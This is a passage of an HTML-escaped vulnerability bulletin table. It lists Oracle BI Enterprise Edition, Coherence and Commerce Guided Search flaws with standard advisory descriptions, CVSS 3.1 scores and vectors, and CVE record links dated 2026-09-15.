&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security). The supported version that is affected is 26.01.0.0.0. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83323&quot; target=&quot;_blank&quot;&gt;CVE-2026-83323&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: BI Platform Security). Supported versions that are affected are 8.2.0.0.0 and 26.01.0.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. While the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Business Intelligence Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83324&quot; target=&quot;_blank&quot;&gt;CVE-2026-83324&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Platform Security). Supported versions that are affected are 8.2.0.0.0 and 26.01.0.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83325&quot; target=&quot;_blank&quot;&gt;CVE-2026-83325&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Business Intelligence Enterprise Edition&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server). Supported versions that are affected are 8.2.0.0.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Business Intelligence Enterprise Edition executes to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83336&quot; target=&quot;_blank&quot;&gt;CVE-2026-83336&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Coherence&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise Oracle Coherence. Successful attacks of this vulnerability can result in takeover of Oracle Coherence. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83410&quot; target=&quot;_blank&quot;&gt;CVE-2026-83410&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Coherence&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Coherence. Successful attacks of this vulnerability can result in takeover of Oracle Coherence. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83411&quot; target=&quot;_blank&quot;&gt;CVE-2026-83411&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Coherence&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via TCP to compromise Oracle Coherence. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Coherence accessible data as well as unauthorized access to critical data or complete access to all Oracle Coherence accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83412&quot; target=&quot;_blank&quot;&gt;CVE-2026-83412&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Coherence&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Coherence. Successful attacks of this vulnerability can result in takeover of Oracle Coherence. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83415&quot; target=&quot;_blank&quot;&gt;CVE-2026-83415&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Experience Manager). The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data as well as unauthorized update, insert or delete access to some of Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83234&quot; target=&quot;_blank&quot;&gt;CVE-2026-83234&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Experience Manager). The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Commerce Guided Search / Oracle Commerce Experience Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data as well as unauthorized update, insert or delete access to some of Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83236&quot; target=&quot;_blank&quot;&gt;CVE-2026-83236&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in takeover of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83245&quot; target=&quot;_blank&quot;&gt;CVE-2026-83245&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in takeover of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83246&quot; target=&quot;_blank&quot;&gt;CVE-2026-83246&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Commerce Guided Search / Oracle Commerce Experience Manager and unauthorized read access to a subset of Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83248&quot; target=&quot;_blank&quot;&gt;CVE-2026-83248&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in takeover of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83254&quot; target=&quot;_blank&quot;&gt;CVE-2026-83254&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in takeover of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83255&quot; target=&quot;_blank&quot;&gt;CVE-2026-83255&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in takeover of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83256&quot; target=&quot;_blank&quot;&gt;CVE-2026-83256&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in takeover of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83258&quot; target=&quot;_blank&quot;&gt;CVE-2026-83258&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Experience Manager). The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. While the vulnerability is in Oracle Commerce Guided Search / Oracle Commerce Experience Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83233&quot; target=&quot;_blank&quot;&gt;CVE-2026-83233&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Experience Manager). The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83235&quot; target=&quot;_blank&quot;&gt;CVE-2026-83235&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83237&quot; target=&quot;_blank&quot;&gt;CVE-2026-83237&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83238&quot; target=&quot;_blank&quot;&gt;CVE-2026-83238&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Endeca Application Controller). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Commerce Guided Search / Oracle Commerce Experience Manager executes to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in takeover of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83239&quot; target=&quot;_blank&quot;&gt;CVE-2026-83239&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Commerce Guided Search / Oracle Commerce Experience Manager executes to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83240&quot; target=&quot;_blank&quot;&gt;CVE-2026-83240&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83241&quot; target=&quot;_blank&quot;&gt;CVE-2026-83241&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Experience Manager). The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data as well as unauthorized read access to a subset of Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83242&quot; target=&quot;_blank&quot;&gt;CVE-2026-83242&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Experience Manager). The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. While the vulnerability is in Oracle Commerce Guided Search / Oracle Commerce Experience Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83243&quot; target=&quot;_blank&quot;&gt;CVE-2026-83243&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
